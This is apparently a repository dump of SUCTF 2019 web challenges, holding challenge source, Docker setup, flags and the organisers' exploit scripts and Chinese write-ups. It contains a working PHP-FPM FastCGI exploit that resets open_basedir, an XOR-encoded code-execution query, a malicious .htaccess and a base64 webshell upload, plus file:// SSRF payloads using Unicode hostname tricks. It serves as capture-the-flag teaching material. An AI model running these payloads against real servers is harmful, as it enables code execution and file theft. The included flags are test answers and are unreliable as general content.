self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, 170 | beginFCGIRecordContent, requestId) 171 | paramsRecord = b'' 172 | if nameValuePairs: 173 | for (name, value) in nameValuePairs.items(): 174 | name = force_bytes(name) 175 | value = force_bytes(value) 176 | paramsRecord += self.__encodeNameValueParams(name, value) 177 | 178 | if paramsRecord: 179 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) 180 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) 181 | 182 | if post: 183 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) 184 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) 185 | 186 | #print(request) 187 | #print(base64.b64encode(request)) 188 | pay = "') 242 | parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int) 243 | 244 | args = parser.parse_args() 245 | 246 | client = FastCGIClient(args.host, args.port, 3, 0) 247 | params = dict() 248 | documentRoot = "/" 249 | uri = args.file 250 | content = args.code 251 | params = { 252 | 'GATEWAY_INTERFACE': 'FastCGI/1.0', 253 | 'REQUEST_METHOD': 'POST', 254 | 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 255 | 'SCRIPT_NAME': uri, 256 | 'QUERY_STRING': '', 257 | 'REQUEST_URI': uri, 258 | 'DOCUMENT_ROOT': documentRoot, 259 | 'SERVER_SOFTWARE': 'php/fcgiclient', 260 | 'REMOTE_ADDR': '127.0.0.1', 261 | 'REMOTE_PORT': '9985', 262 | 'SERVER_ADDR': '127.0.0.1', 263 | 'SERVER_PORT': '80', 264 | 'SERVER_NAME': "localhost", 265 | 'SERVER_PROTOCOL': 'HTTP/1.1', 266 | 'CONTENT_TYPE': 'application/text', 267 | 'CONTENT_LENGTH': "%d" % len(content), 268 | 'PHP_VALUE': 'auto_prepend_file = php://input'+chr(0x0A)+'open_basedir = /', 269 | 'PHP_ADMIN_VALUE': 'allow_url_include = On' 270 | } 271 | response = client.request(params, content) 272 | print(force_text(response)) 273 | -------------------------------------------------------------------------------- /Web/easyweb/exp/exp2.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | url = "http://192.168.188.128:8810/" 4 | payload = "?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag" 5 | files = {'file':(".htaccess","""#define width 1 6 | #define height 1 7 | AddType application/x-httpd-php .pxp 8 | php_value auto_append_file "php://filter/convert.base64-decode/resource=zenis.pxp""")} 9 | r1 = requests.post(url+payload, files=files) 10 | print(r1.text) 11 | exp1 = """GIF89Tw/cGhwIAokZXhwID0gIkFRRlZnQUFJQUFBQUFRQUFBQUFBQUFFRVZZQUI3QUFBRVF0SFFWUkZWMEZaWDBsT1ZFVlNSa0ZEUlVaaGMzUkRSMGt2TVM0d0RnUlNSVkZWUlZOVVgwMUZWRWhQUkZCUFUxUVBGMU5EVWtsUVZGOUdTVXhGVGtGTlJTOTJZWEl2ZDNkM0wyaDBiV3d2YVc1a1pYZ3VjR2h3Q3hkVFExSkpVRlJmVGtGTlJTOTJZWEl2ZDNkM0wyaDBiV3d2YVc1a1pYZ3VjR2h3REFCUlZVVlNXVjlUVkZKSlRrY0xGMUpGVVZWRlUxUmZWVkpKTDNaaGNpOTNkM2N2YUhSdGJDOXBibVJsZUM1d2FIQU5BVVJQUTFWTlJVNVVYMUpQVDFRdkR3NVRSVkpXUlZKZlUwOUdWRmRCVWtWd2FIQXZabU5uYVdOc2FXVnVkQXNKVWtWTlQxUkZYMEZFUkZJeE1qY3VNQzR3TGpFTEJGSkZUVTlVUlY5UVQxSlVPVGs0TlFzSlUwVlNWa1ZTWDBGRVJGSXhNamN1TUM0d0xqRUxBbE5GVWxaRlVsOVFUMUpVT0RBTENWTkZVbFpGVWw5T1FVMUZiRzlqWVd4b2IzTjBEd2hUUlZKV1JWSmZVRkpQVkU5RFQweElWRlJRTHpFdU1Rd1FRMDlPVkVWT1ZGOVVXVkJGWVhCd2JHbGpZWFJwYjI0dmRHVjRkQTRDUTA5T1ZFVk9WRjlNUlU1SFZFZ3pNQWt3VUVoUVgxWkJURlZGWVhWMGIxOXdjbVZ3Wlc1a1gyWnBiR1VnUFNCd2FIQTZMeTlwYm5CMWRBcHZjR1Z1WDJKaGMyVmthWElnUFNBdkR4WlFTRkJmUVVSTlNVNWZWa0ZNVlVWaGJHeHZkMTkxY214ZmFXNWpiSFZrWlNBOUlFOXVBUVJWZ0FBQUFBQUJCVldBQUI0QUFEdy9jR2h3SUhCeWFXNTBYM0lvYzJOaGJtUnBjaWdpTHlJcEtUcy9QZ0VGVllBQUFBQUEiOwogICAgcHJpbnRfcigkZXhwKTsKICAgICRzb2NrPXN0cmVhbV9zb2NrZXRfY2xpZW50KCd1bml4Oi8vL3J1bi9waHAvcGhwNy4yLWZwbS5zb2NrJyk7CiAgICBzdHJlYW1fc29ja2V0X3NlbmR0bygkc29jaywgYmFzZTY0X2RlY29kZSgkZXhwKSk7CiAgICBwcmludCgiCiIpOwogICAgd2hpbGUoIWZlb2YoJHNvY2spKXsKICAgICAgICBwcmludF9yKGZyZWFkKCRzb2NrLCA0MDk2KSk7CiAgICB9CiAgICBmY2xvc2UoJHNvY2spOwo=""" 12 | exp = """GIF89Tw/cGhwIAokZXhwID0gIkFRRjZPQUFJQUFBQUFRQUFBQUFBQUFFRWVqZ0I3QUFBRVF0SFFWUkZWMEZaWDBsT1ZFVlNSa0ZEUlVaaGMzUkRSMGt2TVM0d0RnUlNSVkZWUlZOVVgwMUZWRWhQUkZCUFUxUVBGMU5EVWtsUVZGOUdTVXhGVGtGTlJTOTJZWEl2ZDNkM0wyaDBiV3d2YVc1a1pYZ3VjR2h3Q3hkVFExSkpVRlJmVGtGTlJTOTJZWEl2ZDNkM0wyaDBiV3d2YVc1a1pYZ3VjR2h3REFCUlZVVlNXVjlUVkZKSlRrY0xGMUpGVVZWRlUxUmZWVkpKTDNaaGNpOTNkM2N2YUhSdGJDOXBibVJsZUM1d2FIQU5BVVJQUTFWTlJVNVVYMUpQVDFRdkR3NVRSVkpXUlZKZlUwOUdWRmRCVWtWd2FIQXZabU5uYVdOc2FXVnVkQXNKVWtWTlQxUkZYMEZFUkZJeE1qY3VNQzR3TGpFTEJGSkZUVTlVUlY5UVQxSlVPVGs0TlFzSlUwVlNWa1ZTWDBGRVJGSXhNamN1TUM0d0xqRUxBbE5GVWxaRlVsOVFUMUpVT0RBTENWTkZVbFpGVWw5T1FVMUZiRzlqWVd4b2IzTjBEd2hUUlZKV1JWSmZVRkpQVkU5RFQweElWRlJRTHpFdU1Rd1FRMDlPVkVWT1ZGOVVXVkJGWVhCd2JHbGpZWFJwYjI0dmRHVjRkQTRDUTA5T1ZFVk9WRjlNUlU1SFZFZzBNZ2t3VUVoUVgxWkJURlZGWVhWMGIxOXdjbVZ3Wlc1a1gyWnBiR1VnUFNCd2FIQTZMeTlwYm5CMWRBcHZjR1Z1WDJKaGMyVmthWElnUFNBdkR4WlFTRkJmUVVSTlNVNWZWa0ZNVlVWaGJHeHZkMTkxY214ZmFXNWpiSFZrWlNBOUlFOXVBUVI2T0FBQUFBQUJCWG80QUNvQUFEdy9jR2h3SUhCeWFXNTBYM0lvYzJOaGJtUnBjaWduTDNaaGNpOTNkM2N2YUhSdGJDY3BLVHMvUGdFRmVqZ0FBQUFBIjsKICAgIHByaW50X3IoJGV4cCk7CiAgICAkc29jaz1zdHJlYW1fc29ja2V0X2NsaWVudCgndW5peDovLy9ydW4vcGhwL3BocDcuMi1mcG0uc29jaycpOwogICAgc3RyZWFtX3NvY2tldF9zZW5kdG8oJHNvY2ssIGJhc2U2NF9kZWNvZGUoJGV4cCkpOwogICAgcHJpbnQoIgoiKTsKICAgIHdoaWxlKCFmZW9mKCRzb2NrKSl7CiAgICAgICAgcHJpbnRfcihmcmVhZCgkc29jaywgNDA5NikpOwogICAgfQogICAgZmNsb3NlKCRzb2NrKTsK""" 13 | files = {'file':("zenis.pxp",exp1)} 14 | r2 = requests.post(url+payload, files=files) 15 | print(r2.text) 16 | print(requests.get(url+r2.text).text) 17 | -------------------------------------------------------------------------------- /Web/easyweb/src/000-default.conf: -------------------------------------------------------------------------------- 1 | 2 | # The ServerName directive sets the request scheme, hostname and port that 3 | # the server uses to identify itself. This is used when creating 4 | # redirection URLs. In the context of virtual hosts, the ServerName 5 | # specifies what hostname must appear in the request's Host: header to 6 | # match this virtual host. For the default virtual host (this file) this 7 | # value is not decisive as it is used as a last resort host regardless. 8 | # However, you must set it for any further virtual host explicitly. 9 | #ServerName www.example.com 10 | 11 | ServerAdmin webmaster@localhost 12 | DocumentRoot /var/www/html 13 | 14 | # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, 15 | # error, crit, alert, emerg. 16 | # It is also possible to configure the loglevel for particular 17 | # modules, e.g. 18 | #LogLevel info ssl:warn 19 | 20 | ErrorLog ${APACHE_LOG_DIR}/error.log 21 | CustomLog ${APACHE_LOG_DIR}/access.log combined 22 | 23 | Options -Indexes 24 | AllowOverride All 25 | 26 | 27 | # For most configuration files from conf-available/, which are 28 | # enabled or disabled at a global level, it is possible to 29 | # include a line for only one particular virtual host. For example the 30 | # following line enables the CGI configuration for this host only 31 | # after it has been globally disabled with "a2disconf". 32 | #Include conf-available/serve-cgi-bin.conf 33 | 34 | 35 | # vim: syntax=apache ts=4 sw=4 sts=4 sr noet 36 | -------------------------------------------------------------------------------- /Web/easyweb/src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM phusion/baseimage:0.11 2 | MAINTAINER Zenis 3 | 4 | RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list && \ 5 | sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list && \ 6 | apt-get update && apt-get install -y apache2 libapache2-mod-php7.2 php7.2-fpm php7.2-mbstring&& \ 7 | apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* /var/www/html/* 8 | 9 | RUN mkdir -p /etc/service/apache2/ && \ 10 | printf "#!/bin/sh\n\nexec /usr/sbin/apachectl -D FOREGROUND\n" > /etc/service/apache2/run && \ 11 | chmod 700 /etc/service/apache2/run 12 | 13 | 14 | ADD ./www /var/www/html 15 | ADD ./THis_Is_tHe_F14g /THis_Is_tHe_F14g 16 | ADD ./php.ini /etc/php/7.2/apache2/php.ini 17 | ADD ./php.ini /etc/php/7.2/fpm/php.ini 18 | ADD ./000-default.conf /etc/apache2/sites-available/000-default.conf 19 | ADD ./clean.sh /clean.sh 20 | 21 | RUN chown www-data:www-data -R /var/www/html && \ 22 | chmod 777 /var/www/html/upload 23 | 24 | 25 | RUN chmod 444 /THis_Is_tHe_F14g && \ 26 | echo "*/20 * * * * root bash /clean.sh">>/etc/cron.d/php && \ 27 | chmod 0644 /etc/cron.d/php 28 | 29 | EXPOSE 80 30 | -------------------------------------------------------------------------------- /Web/easyweb/src/THis_Is_tHe_F14g: -------------------------------------------------------------------------------- 1 | suctf{Undefined_constant_With_XOR_Code_Execution} 2 | -------------------------------------------------------------------------------- /Web/easyweb/src/clean.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | rm -rf /var/lib/php/sessions/* 3 | rm -rf /var/www/html/upload/* 4 | -------------------------------------------------------------------------------- /Web/easyweb/src/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | services: 3 | web: 4 | image: easyphp 5 | build: ./ 6 | ports: 7 | - "80" 8 | restart: always 9 | 10 | -------------------------------------------------------------------------------- /Web/easyweb/src/www/F1AghhhhhhhhhhhhhHH: -------------------------------------------------------------------------------- 1 | hhhh 2 | This is fake flag 3 | But I heard php7.2-fpm has been initialized in unix socket mode! 4 | ~ 5 | -------------------------------------------------------------------------------- /Web/easyweb/src/www/index.php: -------------------------------------------------------------------------------- 1 | 18){ 28 | die('One inch long, one inch strong!'); 29 | } 30 | 31 | if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) 32 | die('Try something else!'); 33 | 34 | $character_type = count_chars($hhh, 3); 35 | if(strlen($character_type)>12) die("Almost there!"); 36 | 37 | eval($hhh); 38 | ?> 39 | -------------------------------------------------------------------------------- /Web/easyweb/wp/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Web/easyweb/wp/1.png -------------------------------------------------------------------------------- /Web/easyweb/wp/SUCTF 2019 Easyweb.md: -------------------------------------------------------------------------------- 1 | ## SUCTF 2019 Easyweb 2 | 3 | ### 第一层 4 | 5 | 黑名单执行,参考自 https://xz.aliyun.com/t/5677 ,另外限制了长度。 6 | 7 | Php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。 8 | 9 | Ascii码大于 0x7F 的字符都会被当作字符串,而和 0xFF 异或相当于取反,可以绕过被过滤的取反符号。 10 | 11 | 可以传入phpinfo,也可以进入第二层get_the_flag 函数 12 | 13 | ``` 14 | ?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo 15 | ?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag 16 | ``` 17 | 18 | ## 第二层 19 | 20 | .htaccess文件上传,也算是屡见不鲜了 21 | 22 | 上传的 .htaccess文件可以为如下,我上传的文件是 zenis.pxp 23 | 24 | ``` 25 | #define width 1 26 | #define height 1 27 | AddType application/x-httpd-php .pxp 28 | php_value auto_append_file "php://filter/convert.base64-decode/resource=zenis.pxp" 29 | ``` 30 | 31 | 后面上传的文件可以加一个四个字符 b"\x18\x81\x7c\xf5",这样base64之后开头就是 GIF89a了,如下图所示 32 | 33 | ![webshell](./1.png) 34 | 35 | 36 | 37 | ## 第三层 38 | 39 | 有了webshell后,发现有 open_basedir限制,在www目录下发现文件 F1AghhhhhhhhhhhhhHH ,但是发现是个假的 flag ,还提示说有 php7.2-fpm has been initialized in unix socket mode! 40 | 41 | 这里不难联想到 fpm 绕过 open_basedir,disable_functions等限制,参考[open_basedir bypass with IP-based PHP-FPM](https://bugs.php.net/bug.php?id=70134)今年不只考了一次,个人研究水品有限,望各位师傅海涵。tcccccccccccl... 42 | 43 | php7.2-fpm.sock默认在 44 | 45 | unix:///run/php/php7.2-fpm.sock 46 | 47 | 借用p神的脚本魔改一下,不过还要加上对 open_basedir 的重设 48 | 49 | ``` 50 | 'PHP_VALUE': 'auto_prepend_file = php://input'+chr(0x0A)+'open_basedir = /', 51 | ``` 52 | 53 | 后面就是常规套路了 54 | 55 | ## EXP 56 | 57 | ### exp1.py 58 | 59 | 改自 p 神的payload,这里贴出关键部分,可以生成base64版,以 GIF89a 开头的payload, 60 | 61 | ``` 62 | def request(self, nameValuePairs={}, post=''): 63 | #if not self.__connect(): 64 | # print('connect failure! please check your fasctcgi-server !!') 65 | # return 66 | 。。。。。。 67 | #print(request) 68 | #print(base64.b64encode(request)) 69 | pay = " 2 | 3 | 4 | 5 | 6 | 7 | Document 8 | 9 | 10 |
11 | URL: 12 | 13 |
14 | 15 | 16 | 17 | @app.route('/getUrl', methods=['GET', 'POST']) 18 | def getUrl(): 19 | url = request.args.get("url") 20 | host = parse.urlparse(url).hostname 21 | if host == 'suctf.cc': 22 | return "我扌 your problem? 111" 23 | parts = list(urlsplit(url)) 24 | host = parts[1] 25 | if host == 'suctf.cc': 26 | return "我扌 your problem? 222 " + host 27 | newhost = [] 28 | for h in host.split('.'): 29 | newhost.append(h.encode('idna').decode('utf-8')) 30 | parts[1] = '.'.join(newhost) 31 | #去掉 url 中的空格 32 | finalUrl = urlunsplit(parts).split(' ')[0] 33 | host = parse.urlparse(finalUrl).hostname 34 | if host == 'suctf.cc': 35 | return urllib.request.urlopen(finalUrl).read() 36 | else: 37 | return "我扌 your problem? 333" 38 | 39 | 40 | 41 | 42 | -------------------------------------------------------------------------------- /Web/pythonginx/challenge.yaml: -------------------------------------------------------------------------------- 1 | # Challenge configuration 2 | name: CheckIn 3 | type: web 4 | value: 200 5 | description: > 6 | Zedd做不出这道题被郁离歌嫌弃了,你能帮帮他吗?ddddhm? 7 | flag: SUCTF{67cc389fc00bd1e9db2956f3e46f74ad} 8 | image: true 9 | 10 | -------------------------------------------------------------------------------- /Web/pythonginx/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | web: 4 | container_name: dockerflask 5 | restart: always 6 | build: 7 | context: . 8 | dockerfile: ./Dockerfile 9 | command: [] 10 | ports: 11 | - "9000:80" 12 | volumes: 13 | - ./app:/app 14 | -------------------------------------------------------------------------------- /Web/pythonginx/flag: -------------------------------------------------------------------------------- 1 | SUCTF{67cc389fc00bd1e9db2956f3e46f74ad} -------------------------------------------------------------------------------- /Web/pythonginx/hosts: -------------------------------------------------------------------------------- 1 | ## 2 | # Host Database 3 | # 4 | # localhost is used to configure the loopback interface 5 | # when the system is booting. Do not change this entry. 6 | ## 7 | 127.0.0.1 localhost 8 | 127.0.0.1 suctf.cc 9 | #::1 localhost -------------------------------------------------------------------------------- /Web/pythonginx/nginx.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | location / { 4 | try_files $uri @app; 5 | } 6 | location @app { 7 | include uwsgi_params; 8 | uwsgi_pass unix:///tmp/uwsgi.sock; 9 | } 10 | location /static { 11 | alias /app/static; 12 | } 13 | # location /flag { 14 | # alias /usr/fffffflag; 15 | # } 16 | } -------------------------------------------------------------------------------- /Web/pythonginx/nginx.sh: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env bash 2 | 3 | # Max File Uplaod 4 | set -e 5 | echo "client_max_body_size 0;" > /etc/nginx/conf.d/upload.conf 6 | echo "127.0.0.1 suctf.cc" >> /etc/hosts 7 | 8 | # Static Files Setup 9 | USE_STATIC_URL=${STATIC_URL:-'/static'} 10 | USE_STATIC_PATH=${STATIC_PATH:-'/app/static'} 11 | 12 | # Generate Nginx config 13 | echo "server { 14 | listen 80; 15 | location / { 16 | try_files \$uri @app; 17 | } 18 | location @app { 19 | include uwsgi_params; 20 | uwsgi_pass unix:///tmp/uwsgi.sock; 21 | } 22 | location $USE_STATIC_URL { 23 | alias $USE_STATIC_PATH; 24 | }" > /etc/nginx/conf.d/nginx.conf 25 | 26 | if [[ $STATIC_INDEX == 1 ]] ; then 27 | echo " location = / { 28 | index $USE_STATIC_URL/index.html; 29 | }" >> /etc/nginx/conf.d/nginx.conf 30 | fi 31 | 32 | # Finish the Nginx config file 33 | echo "}" >> /etc/nginx/conf.d/nginx.conf 34 | 35 | exec "$@" 36 | -------------------------------------------------------------------------------- /Web/pythonginx/writeup/README.md: -------------------------------------------------------------------------------- 1 | # Simple Web Challenge Writeup 2 | 3 | file://1.1.1.1@suctf.c℆sr/fffffflag 4 | 5 | file://suctf.c℆sr%2ffffffflag @111 6 | 7 | --------------------------------------------------------------------------------